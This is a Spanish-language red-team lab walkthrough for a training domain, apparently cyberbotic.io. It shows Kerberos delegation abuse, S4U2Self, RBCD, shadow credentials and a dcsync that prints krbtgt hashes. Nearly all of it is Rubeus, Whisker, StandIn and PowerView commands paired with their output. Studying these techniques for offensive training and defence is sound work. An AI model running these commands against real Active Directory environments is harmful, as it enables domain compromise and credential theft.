[*] Using domain controller: dc-2.dev.cyberbotic.io (10.10.122.10)
[*] Sending S4U2self request to 10.10.122.10:88
[+] S4U2self success!
[*] Got a TGS for 'nlamb' to 'SQL-2$@DEV.CYBERBOTIC.IO'
[*] base64(ticket.kirbi):

      doIFnD[...]FMLTIk

[*] Impersonating user 'nlamb' to target SPN 'cifs/dc-2.dev.cyberbotic.io'
[*] Building S4U2proxy request for service: 'cifs/dc-2.dev.cyberbotic.io'
[*] Using domain controller: dc-2.dev.cyberbotic.io (10.10.122.10)
[*] Sending S4U2proxy request to domain controller 10.10.122.10:88
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/dc-2.dev.cyberbotic.io':

      doIGaD[...]ljLmlv

donde:

  • /impersonateuser es el usuario que queremos suplantar.
  • /msdsspn es el nombre principal de servicio al que SQL-2 tiene permitido delegar.
  • /user es el principal permitido para realizar la delegación.
  • /ticket es el TGT para /user.

Obtén el ticket final S4U2Proxy e insértalo en una nueva sesión de inicio.

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIGaD[...]ljLmlv

[*] Using DEV\nlamb:FakePass

[*] Showing process : False
[*] Username        : nlamb
[*] Domain          : DEV
[*] Password        : FakePass
[+] Process         : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID       : 5540
[+] Ticket successfully imported!
[+] LUID            : 0x3d3194

beacon> steal_token 5540

beacon> ls \\dc-2.dev.cyberbotic.io\c$

 Size     Type    Last Modified         Name
 ----     ----    -------------         ----
          dir     08/15/2022 15:44:08   $Recycle.Bin
          dir     08/10/2022 04:55:17   $WinREAgent
          dir     08/10/2022 05:05:53   Boot
          dir     08/18/2021 23:34:55   Documents and Settings
          dir     08/19/2021 06:24:49   EFI
          dir     08/15/2022 16:09:55   inetpub
          dir     05/08/2021 08:20:24   PerfLogs
          dir     08/24/2022 10:51:51   Program Files
          dir     08/10/2022 04:06:16   Program Files (x86)
          dir     09/05/2022 17:17:48   ProgramData
          dir     08/15/2022 15:23:23   Recovery
          dir     08/16/2022 12:37:38   Shares
          dir     09/05/2022 12:03:43   System Volume Information
          dir     08/15/2022 15:24:39   Users
          dir     09/05/2022 17:09:56   Windows
 427kb    fil     08/10/2022 05:00:07   bootmgr
 1b       fil     05/08/2021 08:14:33   BOOTNXT
 1kb      fil     08/15/2022 16:16:13   dc-2.dev.cyberbotic.io_sub-ca.req
 12kb     fil     09/05/2022 07:25:58   DumpStack.log
 12kb     fil     09/06/2022 09:04:41   DumpStack.log.tmp
 384mb    fil     09/06/2022 09:04:41   pagefile.sys

Info

Asegúrate de usar siempre el FQDN. De lo contrario, verás errores 1326.

beacon> ls \\dc-2\c$
[-] could not open \\dc-2\c$\*: 1326 - ERROR_LOGON_FAILURE

Constrained Delegation Demo


Alternate Service Name

El servicio CIFS puede ser utilizado para listar y transferir archivos, pero ¿qué pasa si el puerto 445 no está disponible o queremos una opción para movimiento lateral?

En el protocolo de autenticación Kerberos, un servicio valida un ticket entrante asegurándose de que esté cifrado con la clave simétrica de ese servicio. Esta clave se deriva del hash de contraseña del principal que ejecuta el servicio. La mayoría de los servicios se ejecutan en el contexto SYSTEM de una cuenta de equipo, por ejemplo, SQL-2$. Por lo tanto, todos los tickets de servicio, ya sea para CIFS, TIME o HOST, etc., estarán cifrados con la misma clave. El SPN no influye en la validación del ticket.

Además, la información del SPN en el ticket (es decir, el campo sname) no está cifrada y se puede cambiar arbitrariamente. Eso significa que podemos solicitar un ticket de servicio para un servicio, como CIFS, pero luego modificar el SPN a algo diferente, como LDAP, y el servicio de destino lo aceptará sin problemas.

Esto fue descubierto originalmente por Alberto Solino y confirmado como "por diseño" por Microsoft.

Podemos abusar de esto utilizando el flag /altservice en Rubeus. En este ejemplo, estoy usando el mismo TGT para SQL-2 para solicitar un TGS para LDAP en lugar de CIFS.

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /impersonateuser:nlamb /msdsspn:cifs/dc-2.dev.cyberbotic.io /altservice:ldap /user:sql-2$ /ticket:doIFpD[...]MuSU8= /nowrap

[*] Action: S4U

[*] Building S4U2self request for: 'SQL-2$@DEV.CYBERBOTIC.IO'
[*] Using domain controller: dc-2.dev.cyberbotic.io (10.10.122.10)
[*] Sending S4U2self request to 10.10.122.10:88
[+] S4U2self success!
[*] Got a TGS for 'nlamb' to 'SQL-2$@DEV.CYBERBOTIC.IO'
[*] base64(ticket.kirbi):

      doIFnD[...]FMLTIk

[*] Impersonating user 'nlamb' to target SPN 'cifs/dc-2.dev.cyberbotic.io'
[*]   Final ticket will be for the alternate service 'ldap'
[*] Building S4U2proxy request for service: 'cifs/dc-2.dev.cyberbotic.io'
[*] Using domain controller: dc-2.dev.cyberbotic.io (10.10.122.10)
[*] Sending S4U2proxy request to domain controller 10.10.122.10:88
[+] S4U2proxy success!
[*] Substituting alternative service name 'ldap'
[*] base64(ticket.kirbi) for SPN 'ldap/dc-2.dev.cyberbotic.io':

      doIGaD[...]ljLmlv

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIGaD[...]ljLmlv

[*] Using DEV\nlamb:FakePass

[*] Showing process : False
[*] Username        : nlamb
[*] Domain          : DEV
[*] Password        : FakePass
[+] Process         : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID       : 2580
[+] Ticket successfully imported!
[+] LUID            : 0x4b328e

beacon> steal_token 2580

Contra un controlador de dominio, el servicio LDAP nos permite realizar un dcsync.

beacon> dcsync dev.cyberbotic.io DEV\krbtgt

[DC] 'dev.cyberbotic.io' will be the domain
[DC] 'dc-2.dev.cyberbotic.io' will be the DC server
[DC] 'DEV\krbtgt' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : krbtgt

** SAM ACCOUNT **

SAM Username         : krbtgt
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration   : 
Password last change : 8/15/2022 4:01:04 PM
Object Security ID   : S-1-5-21-569305411-121244042-2357301523-502
Object Relative ID   : 502

Credentials:
  Hash NTLM: 9fb924c244ad44e934c390dc17e02c3d
    ntlm- 0: 9fb924c244ad44e934c390dc17e02c3d
    lm  - 0: 207d5e08551c51892309c0cf652c353b

* Primary:Kerberos-Newer-Keys *
    Default Salt : DEV.CYBERBOTIC.IOkrbtgt
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 51d7f328ade26e9f785fd7eee191265ebc87c01a4790a7f38fb52e06563d4e7e
      aes128_hmac       (4096) : 6fb62ed56c7de778ca5e4fe6da6d3aca
      des_cbc_md5       (4096) : 629189372a372fda

S4U2Self Abuse

Como vimos en los dos ejemplos anteriores de delegación restringida, existen dos extensiones S4U (Service for User). S4U2Self (Service for User to Self) y S4U2Proxy (Service for User to Proxy). S4U2Self permite que un servicio obtenga un TGS para sí mismo en nombre de un usuario, y S4U2Proxy permite que el servicio obtenga un TGS en nombre de un usuario para un segundo servicio.

Cuando abusamos de la delegación restringida, hicimos: Rubeus s4u /impersonateuser:nlamb /msdsspn:cifs/dc-2.dev.cyberbotic.io /user:sql-2$. A partir de la salida, vimos que Rubeus primero construye una solicitud S4U2Self y obtiene un TGS para nlamb hacia sql-2/dev.cyberbotic.io. Luego construye una solicitud S4U2Proxy para obtener un TGS para nlamb hacia cifs/dc-2.dev.cyberbotic.io.

Esto obviamente funciona por diseño porque SQL-2 está específicamente confiado para delegación a ese servicio. Sin embargo, hay otra manera particularmente útil, publicada por Elad Shamir, para abusar de la extensión S4U2Self: obtener acceso a un equipo si tenemos su TGT.

En el módulo de Delegación No Restringida, obtuvimos un TGT para el controlador de dominio. Si intentas pasar ese ticket a una sesión de inicio de sesión y usarlo para acceder al recurso compartido C$ (como lo haríamos con un TGT de usuario), fallará.

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:DC-2$ /password:FakePass /ticket:doIFuj[...]lDLklP

[*] Using DEV\DC-2$:FakePass

[*] Showing process : False
[*] Username        : DC-2$
[*] Domain          : DEV
[*] Password        : FakePass
[+] Process         : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID       : 2832
[+] Ticket successfully imported!
[+] LUID            : 0x4d977f

beacon> steal_token 2832

beacon> ls \\dc-2.dev.cyberbotic.io\c$
[-] could not open \\dc-2.dev.cyberbotic.io\c$\*: 5 - ERROR_ACCESS_DENIED

Esto se debe a que las máquinas no obtienen acceso remoto como administrador local a sí mismas. Lo que podemos hacer en su lugar es abusar de S4U2Self para obtener un TGS utilizable como un usuario que sabemos es un administrador local (por ejemplo, un administrador de dominio). Rubeus tiene un flag /self para este propósito.

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /impersonateuser:nlamb /self /altservice:cifs/dc-2.dev.cyberbotic.io /user:dc-2$ /ticket:doIFuj[...]lDLklP /nowrap

[*] Action: S4U

[*] Building S4U2self request for: 'DC-2$@DEV.CYBERBOTIC.IO'
[*] Using domain controller: dc-2.dev.cyberbotic.io (10.10.122.10)
[*] Sending S4U2self request to 10.10.122.10:88
[+] S4U2self success!
[*] Substituting alternative service name 'cifs/dc-2.dev.cyberbotic.io'
[*] Got a TGS for 'nlamb' to 'cifs@DEV.CYBERBOTIC.IO'
[*] base64(ticket.kirbi):

doIFyD[...]MuaW8=

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIFyD[...]MuaW8=

[*] Using DEV\nlamb:FakePass

[*] Showing process : False
[*] Username        : nlamb
[*] Domain          : DEV
[*] Password        : FakePass
[+] Process         : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID       : 2664
[+] Ticket successfully imported!
[+] LUID            : 0x4ff935

beacon> steal_token 2664

beacon> ls \\dc-2.dev.cyberbotic.io\c$

 Size     Type    Last Modified         Name
 ----     ----    -------------         ----
          dir     08/15/2022 15:44:08   $Recycle.Bin
          dir     08/10/2022 04:55:17   $WinREAgent
          dir     08/10/2022 05:05:53   Boot
          dir     08/18/2021 23:34:55   Documents and Settings
          dir     08/19/2021 06:24:49   EFI
          dir     08/15/2022 16:09:55   inetpub
          dir     05/08/2021 08:20:24   PerfLogs
          dir     08/24/2022 10:51:51   Program Files
          dir     08/10/2022 04:06:16   Program Files (x86)
          dir     09/05/2022 17:17:48   ProgramData
          dir     08/15/2022 15:23:23   Recovery
          dir     08/16/2022 12:37:38   Shares
          dir     09/05/2022 12:03:43   System Volume Information
          dir     08/15/2022 15:24:39   Users
          dir     09/06/2022 15:21:25   Windows
 427kb    fil     08/10/2022 05:00:07   bootmgr
 1b       fil     05/08/2021 08:14:33   BOOTNXT
 1kb      fil     08/15/2022 16:16:13   dc-2.dev.cyberbotic.io_sub-ca.req
 12kb     fil     09/05/2022 07:25:58   DumpStack.log
 12kb     fil     09/06/2022 09:04:41   DumpStack.log.tmp
 384mb    fil     09/06/2022 09:04:41   pagefile.sys

S4U2Self Demo


Resource-Based Constrained Delegation

Habilitar delegación no restringida o restringida en una computadora requiere el derecho de asignación de usuario SeEnableDelegationPrivilege en los domain controllers, que solo se otorga a enterprise y domain admins. Windows 2012 introdujo un nuevo tipo de delegación llamada resource-based constrained delegation (RBCD), que permite que la configuración de delegación se establezca en el destino en lugar de la fuente.

Para comparar: la delegación restringida se configura en el servicio "front-end" a través de su atributo msDS-AllowedToDelegateTo. El ejemplo proporcionado anteriormente fue donde cifs/dc-2.dev.cyberbotic.io estaba en el atributo msDS-AllowedToDelegateTo de SQL-2. Esto permitía que la cuenta de computadora SQL-2 suplantara a cualquier usuario en cualquier servicio en DC-2, y DC-2 realmente no tenía control sobre ello.

RBCD invierte este concepto y pone el control en manos del servicio "backend" en su lugar, a través de un nuevo atributo llamado msDS-AllowedToActOnBehalfOfOtherIdentity. Este atributo tampoco requiere SeEnableDelegationPrivilege para ser modificado. En su lugar, solo necesitas un privilegio como WriteProperty, GenericAll, GenericWrite o WriteDacl en el objeto de la computadora. Esto lo hace mucho más probable de presentarse como una oportunidad de escalada de privilegios o movimiento lateral.

Los dos requisitos principales para llevar a cabo el ataque son:

  1. Una computadora objetivo en la cual puedas modificar msDS-AllowedToActOnBehalfOfOtherIdentity.
  2. Control de otro principal que tenga un SPN.

Esta consulta obtendrá todas las computadoras del dominio y leerá sus ACL, filtrando los derechos interesantes. Esto producirá un puñado de resultados, pero el mostrado es el de interés. Muestra que el grupo Developers tiene derechos WriteProperty en todas las propiedades (ver el ObjectAceType) para DC-2.

beacon> powershell Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "WriteProperty|GenericWrite|GenericAll|WriteDacl" -and $_.SecurityIdentifier -match "S-1-5-21-569305411-121244042-2357301523-[\d]{4,10}" }

AceQualifier           : AccessAllowed
ObjectDN               : CN=DC-2,OU=Domain Controllers,DC=dev,DC=cyberbotic,DC=io
ActiveDirectoryRights  : Self, WriteProperty
ObjectAceType          : All
ObjectSID              : S-1-5-21-569305411-121244042-2357301523-1000
InheritanceFlags       : ContainerInherit
BinaryLength           : 56
AceType                : AccessAllowedObject
ObjectAceFlags         : InheritedObjectAceTypePresent
IsCallback             : False
PropagationFlags       : None
SecurityIdentifier     : S-1-5-21-569305411-121244042-2357301523-1107
AccessMask             : 40
AuditFlags             : None
IsInherited            : True
AceFlags               : ContainerInherit, Inherited
InheritedObjectAceType : Computer
OpaqueLength           : 0

beacon> powershell ConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1107
DEV\Developers

Un medio común para obtener un principal con un SPN es utilizar una cuenta de computadora. Dado que tenemos privilegios elevados en Workstation 2, podemos usar eso. Para comenzar el ataque, necesitamos su SID.

beacon> powershell Get-DomainComputer -Identity wkstn-2 -Properties objectSid

objectsid                                   
---------                                   
S-1-5-21-569305411-121244042-2357301523-1109

Luego usaremos esto dentro de un SDDL para crear un descriptor de seguridad. El contenido de msDS-AllowedToActOnBehalfOfOtherIdentity debe estar en formato binario crudo.

$rsd = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-569305411-121244042-2357301523-1109)"
$rsdb = New-Object byte[] ($rsd.BinaryLength)
$rsd.GetBinaryForm($rsdb, 0)

Estos bytes del descriptor pueden luego ser usados con Set-DomainObject. Sin embargo, dado que estamos trabajando a través de Cobalt Strike, todo tiene que ser concatenado en un solo comando de PowerShell.

beacon> powershell $rsd = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-569305411-121244042-2357301523-1109)"; $rsdb = New-Object byte[] ($rsd.BinaryLength); $rsd.GetBinaryForm($rsdb, 0); Get-DomainComputer -Identity "dc-2" | Set-DomainObject -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity' = $rsdb} -Verbose

Setting 'msDS-AllowedToActOnBehalfOfOtherIdentity' to '1 0 4 128 20 0 0 0 0 0 0 0 0 0 0 0 36 0 0 0 1 2 0 0 0 0 0 5 32 0 0 0 32 2 0 0 2 0 44 0 1 0 0 0 0 0 36 0 255 1 15 0 1 5 0 0 0 0 0 5 21 0 0 0 67 233 238 33 138 9 58 7 19 145 129 140 85 4 0 0' for object 'DC-2$'

beacon> powershell Get-DomainComputer -Identity "dc-2" -Properties msDS-AllowedToActOnBehalfOfOtherIdentity

msds-allowedtoactonbehalfofotheridentity
----------------------------------------
{1, 0, 4, 128...}

A continuación, usamos la cuenta WKSN-2$ para realizar la suplantación S4U con Rubeus. El comando s4u requiere un TGT, RC4 o hash AES. Dado que ya tenemos acceso elevado a él, simplemente podemos extraer su TGT de la memoria.

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe triage

[*] Current LUID    : 0x3e7

 ------------------------------------------------------------------------------------------------------------------ 
 | LUID     | UserName                     | Service                                       | EndTime              |
 ------------------------------------------------------------------------------------------------------------------ 
 | 0x3e4    | wkstn-2$ @ DEV.CYBERBOTIC.IO | krbtgt/DEV.CYBERBOTIC.IO                      | 9/13/2022 7:27:12 PM |

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe dump /luid:0x3e4 /service:krbtgt /nowrap

[*] Target service  : krbtgt
[*] Target LUID     : 0x3e4
[*] Current LUID    : 0x3e7

  UserName                 : WKSTN-2$
  Domain                   : DEV
  LogonId                  : 0x3e4
  UserSID                  : S-1-5-20
  AuthenticationPackage    : Negotiate
  LogonType                : Service
  LogonTime                : 9/13/2022 9:26:48 AM
  LogonServer              : 
  LogonServerDNSDomain     : 
  UserPrincipalName        : WKSTN-2$@dev.cyberbotic.io

    ServiceName              :  krbtgt/DEV.CYBERBOTIC.IO
    ServiceRealm             :  DEV.CYBERBOTIC.IO
    UserName                 :  WKSTN-2$
    UserRealm                :  DEV.CYBERBOTIC.IO
    StartTime                :  9/13/2022 9:27:12 AM
    EndTime                  :  9/13/2022 7:27:12 PM
    RenewTill                :  9/20/2022 9:27:12 AM
    Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
    KeyType                  :  aes256_cts_hmac_sha1
    Base64(key)              :  qEQBH1TdRRjZiZ0iXbeCy4Z3MsOf30l8lLTNE4InemY=
    Base64EncodedTicket   :

doIFuD[...]5JTw==

Luego realizamos el s4u.

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /user:WKSTN-2$ /impersonateuser:nlamb /msdsspn:cifs/dc-2.dev.cyberbotic.io /ticket:doIFuD[...]5JTw== /nowrap

[*] Building S4U2self request for: 'WKSTN-2$@DEV.CYBERBOTIC.IO'
[*] Using domain controller: dc-2.dev.cyberbotic.io (10.10.122.10)
[*] Sending S4U2self request to 10.10.122.10:88
[+] S4U2self success!
[*] Got a TGS for 'nlamb' to 'WKSTN-2$@DEV.CYBERBOTIC.IO'
[*] base64(ticket.kirbi):

      doIFoD[...]0yJA==

[*] Impersonating user 'nlamb' to target SPN 'cifs/dc-2.dev.cyberbotic.io'
[*] Building S4U2proxy request for service: 'cifs/dc-2.dev.cyberbotic.io'
[*] Using domain controller: dc-2.dev.cyberbotic.io (10.10.122.10)
[*] Sending S4U2proxy request to domain controller 10.10.122.10:88
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/dc-2.dev.cyberbotic.io':

      doIGcD[...]MuaW8=

Finalmente, pasamos el ticket en una sesión de inicio de sesión para su uso.

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIGcD[...]MuaW8=

[*] Using DEV\nlamb:FakePass

[*] Showing process : False
[*] Username        : nlamb
[*] Domain          : DEV
[*] Password        : FakePass
[+] Process         : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID       : 4092
[+] Ticket successfully imported!
[+] LUID            : 0x6cb934

beacon> steal_token 4092
[+] Impersonated DEV\bfarmer

beacon> ls \\dc-2.dev.cyberbotic.io\c$

 Size     Type    Last Modified         Name
 ----     ----    -------------         ----
          dir     08/15/2022 15:44:08   $Recycle.Bin
          dir     08/10/2022 04:55:17   $WinREAgent
          dir     08/10/2022 05:05:53   Boot
          dir     08/18/2021 23:34:55   Documents and Settings
          dir     08/19/2021 06:24:49   EFI
          dir     08/15/2022 16:09:55   inetpub
          dir     05/08/2021 08:20:24   PerfLogs
          dir     08/24/2022 10:51:51   Program Files
          dir     08/10/2022 04:06:16   Program Files (x86)
          dir     09/12/2022 09:45:09   ProgramData
          dir     08/15/2022 15:23:23   Recovery
          dir     08/16/2022 12:37:38   Shares
          dir     09/05/2022 12:03:43   System Volume Information
          dir     08/15/2022 15:24:39   Users
          dir     09/12/2022 09:28:56   Windows
 427kb    fil     08/10/2022 05:00:07   bootmgr
 1b       fil     05/08/2021 08:14:33   BOOTNXT
 1kb      fil     08/15/2022 16:16:13   dc-2.dev.cyberbotic.io_sub-ca.req
 12kb     fil     09/05/2022 07:25:58   DumpStack.log
 12kb     fil     09/13/2022 09:25:49   DumpStack.log.tmp
 384mb    fil     09/13/2022 09:25:49   pagefile.sys

Para limpiar, simplemente elimina la entrada msDS-AllowedToActOnBehalfOfOtherIdentity en el destino.

beacon> powershell Get-DomainComputer -Identity dc-2 | Set-DomainObject -Clear msDS-AllowedToActOnBehalfOfOtherIdentity

Si no tenías acceso de administrador local a una computadora ya existente, puedes recurrir a crear tu propio objeto de computadora. Por defecto, incluso los domain users pueden unir hasta 10 computadoras a un dominio, controlado a través del atributo ms-DS-MachineAccountQuota del objeto de dominio.

beacon> powershell Get-DomainObject -Identity "DC=dev,DC=cyberbotic,DC=io" -Properties ms-DS-MachineAccountQuota

ms-ds-machineaccountquota
-------------------------
                       10

StandIn es un toolkit post-explotación escrito por Ruben Boonen y tiene la funcionalidad para crear una computadora con una contraseña aleatoria.

beacon> execute-assembly C:\Tools\StandIn\StandIn\StandIn\bin\Release\StandIn.exe --computer EvilComputer --make

[?] Using DC    : dc-2.dev.cyberbotic.io
    |_ Domain   : dev.cyberbotic.io
    |_ DN       : CN=EvilComputer,CN=Computers,DC=dev,DC=cyberbotic,DC=io
    |_ Password : oIrpupAtF1YCXaw

[+] Machine account added to AD..

Rubeus hash puede tomar esa contraseña y calcular sus hashes.

PS C:\Users\Attacker> C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe hash /password:oIrpupAtF1YCXaw /user:EvilComputer$ /domain:dev.cyberbotic.io

[*] Action: Calculate Password Hash(es)

[*] Input password             : oIrpupAtF1YCXaw
[*] Input username             : EvilComputer$
[*] Input domain               : dev.cyberbotic.io
[*] Salt                       : DEV.CYBERBOTIC.IOhostevilcomputer.dev.cyberbotic.io
[*]       rc4_hmac             : 73D0774058830F841C9205C857C9EE62
[*]       aes128_cts_hmac_sha1 : FB9A1AB8567D4EF4CEA6186A115D091A
[*]       aes256_cts_hmac_sha1 : 7A79DCC14E6508DA9536CD949D857B54AE4E119162A865C40B3FFD46059F7044
[*]       des_cbc_md5          : 49B5514F1F45700D

Estos luego pueden ser usados con asktgt para obtener un TGT para la computadora falsa.

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:EvilComputer$ /aes256:7A79DCC14E6508DA9536CD949D857B54AE4E119162A865C40B3FFD46059F7044 /nowrap

[*] Action: Ask TGT

[*] Using aes256_cts_hmac_sha1 hash: 7A79DCC14E6508DA9536CD949D857B54AE4E119162A865C40B3FFD46059F7044
[*] Building AS-REQ (w/ preauth) for: 'dev.cyberbotic.io\EvilComputer$'
[*] Using domain controller: 10.10.122.10:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIF8j[...]MuaW8=

  ServiceName              :  krbtgt/dev.cyberbotic.io
  ServiceRealm             :  DEV.CYBERBOTIC.IO
  UserName                 :  EvilComputer$
  UserRealm                :  DEV.CYBERBOTIC.IO
  StartTime                :  9/13/2022 2:31:34 PM
  EndTime                  :  9/14/2022 12:31:34 AM
  RenewTill                :  9/20/2022 2:31:34 PM
  Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  /s6yAyTa1670VNAT9yYBGya/mqOU/YJSLu0XuD2ReBE=
  ASREP (key)              :  7A79DCC14E6508DA9536CD949D857B54AE4E119162A865C40B3FFD46059F7044

Y el resto del ataque es el mismo.


RBCD Demo


Shadow Credentials

Mientras que la pre-autenticación de Kerberos normalmente se lleva a cabo utilizando una clave simétrica derivada de la contraseña de un cliente, también es posible usar claves asimétricas a través de Public Key Cryptography for Initial Authentication (PKINIT). Si existe una solución PKI implementada, como Active Directory Certificate Services, los controladores de dominio y los miembros del dominio intercambian sus claves públicas a través de la Certificate Authority correspondiente. Esto se denomina el modelo de confianza basado en certificados (Certificate Trust model).

También existe un modelo de confianza basado en claves (Key Trust model), donde la confianza se establece en función de los datos de clave en bruto en lugar de un certificado. Esto requiere que un cliente almacene su clave en su propio objeto de dominio, en un atributo llamado msDS-KeyCredentialLink. La base del ataque de "shadow credentials" es que si puedes escribir en este atributo en un objeto de usuario o computadora, puedes obtener un TGT para ese principal. Como tal, esto es un abuso de tipo DACL, al igual que con RBCD.

Junto con su excelente blog post sobre el tema, Elad Shamir publicó una herramienta llamada Whisker, que facilita mucho la explotación de esta técnica. Primero, queremos listar cualquier clave que ya pueda estar presente en un objetivo; esto es importante para cuando queramos limpiar más tarde.

beacon> execute-assembly C:\Tools\Whisker\Whisker\bin\Release\Whisker.exe list /target:dc-2$
[*] Searching for the target account
[*] Target user found: CN=DC-2,OU=Domain Controllers,DC=dev,DC=cyberbotic,DC=io
[*] Listing deviced for dc-2$:
[*] No entries!

Agrega un nuevo par de claves al objetivo.

beacon> execute-assembly C:\Tools\Whisker\Whisker\bin\Release\Whisker.exe add /target:dc-2$
[*] No path was provided. The certificate will be printed as a Base64 blob
[*] No pass was provided. The certificate will be stored with the password y52EhYqlfgnYPuRb
[*] Searching for the target account
[*] Target user found: CN=DC-2,OU=Domain Controllers,DC=dev,DC=cyberbotic,DC=io
[*] Generating certificate
[*] Certificate generaged
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID 58d0ccec-1f8c-4c7a-8f7e-eb77bc9be403
[*] Updating the msDS-KeyCredentialLink attribute of the target object
[+] Updated the msDS-KeyCredentialLink attribute of the target object

Y ahora, podemos solicitar un TGT usando el comando de Rubeus que proporciona Whisker.

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:dc-2$ /certificate:MIIJuA[...snip...]ICB9A= /password:"y52EhYqlfgnYPuRb" /nowrap

[*] Using PKINIT with etype rc4_hmac and subject: CN=dc-2$ 
[*] Building AS-REQ (w/ PKINIT preauth) for: 'dev.cyberbotic.io\dc-2$'
[*] Using domain controller: 10.10.122.10:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

doIGaj [...snip...] MuaW8=

  ServiceName              :  krbtgt/dev.cyberbotic.io
  ServiceRealm             :  DEV.CYBERBOTIC.IO
  UserName                 :  dc-2$
  UserRealm                :  DEV.CYBERBOTIC.IO
  StartTime                :  1/21/2023 7:12:27 PM
  EndTime                  :  1/22/2023 5:12:27 AM
  RenewTill                :  1/28/2023 7:12:27 PM
  Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType                  :  rc4_hmac
  Base64(key)              :  bKJ76Br5CFOL6zckBpl9IA==
  ASREP (key)              :  B0AA392AE0C969E268DAC4462D76FC90

El comando clear de Whisker eliminará todas las claves de msDS-KeyCredentialLink. Esto es una mala idea si ya había una clave presente, ya que romperá la autenticación sin contraseña legítima que estaba configurada. Si este fuera el caso, puedes listar las entradas nuevamente y eliminar solo la que desees.

beacon> execute-assembly C:\Tools\Whisker\Whisker\bin\Release\Whisker.exe list /target:dc-2$
[*] Searching for the target account
[*] Target user found: CN=DC-2,OU=Domain Controllers,DC=dev,DC=cyberbotic,DC=io
[*] Listing deviced for dc-2$:
    DeviceID: 58d0ccec-1f8c-4c7a-8f7e-eb77bc9be403 | Creation Time: 1/21/2023 7:19:04 PM

beacon> execute-assembly C:\Tools\Whisker\Whisker\bin\Release\Whisker.exe remove /target:dc-2$ /deviceid:58d0ccec-1f8c-4c7a-8f7e-eb77bc9be403
[*] Searching for the target account
[*] Target user found: CN=DC-2,OU=Domain Controllers,DC=dev,DC=cyberbotic,DC=io
[*] Updating the msDS-KeyCredentialLink attribute of the target object
[+] Found value to remove
[+] Updated the msDS-KeyCredentialLink attribute of the target object

Kerberos Relay Attacks

Using Kerberos for Authentication Relay Attacks fue publicado por James Foreshaw en 2021, donde discute la posibilidad de realizar ataques de relay de autenticación Kerberos en un dominio Windows sin MitM. Es una lectura bastante densa, pero obviamente contiene todos los detalles granulares. Esta lección intentará resumir los puntos clave y demostrar dos vectores de ataque populares para LPE en hosts unidos al dominio.

Un desafío importante al relayar Kerberos es que los service tickets están cifrados con la clave secreta del servicio. Un ticket para CIFS/HOST-A no puede ser relayado a CIFS/HOST-B porque HOST-B no podría descifrar un ticket que fue cifrado para HOST-A. Sin embargo, en Windows, la clave secreta del servicio se deriva del principal asociado con su SPN y no es necesariamente única por servicio. La mayoría de los servicios se ejecutan como el local SYSTEM, que en un contexto de dominio, es la cuenta de equipo en Active Directory. Por lo tanto, los service tickets para servicios ejecutados en el mismo host, como CIFS/HOST-A y HTTP/HOST-A, estarían cifrados con la misma clave.

Como James menciona: "no hay nada inherentemente que impida que la autenticación Kerberos sea relayada si el atacante puede controlar el SPN", pero hasta ahora, no habíamos tenido una manera de hacerlo. Un método para lograrlo se detalla en su publicación: Windows Exploitation Tricks: Relaying DCOM Authentication. El enfoque demostrado es muy similar a cómo funciona el exploit RemotePotato: levantar un listener local y forzar a un servidor COM privilegiado a conectarse a él; capturar la solicitud de autenticación subsiguiente y relayar la misma a otro lugar. Nuevamente, hay muchos detalles matizados en la publicación de James, pero estos son los puntos destacados.

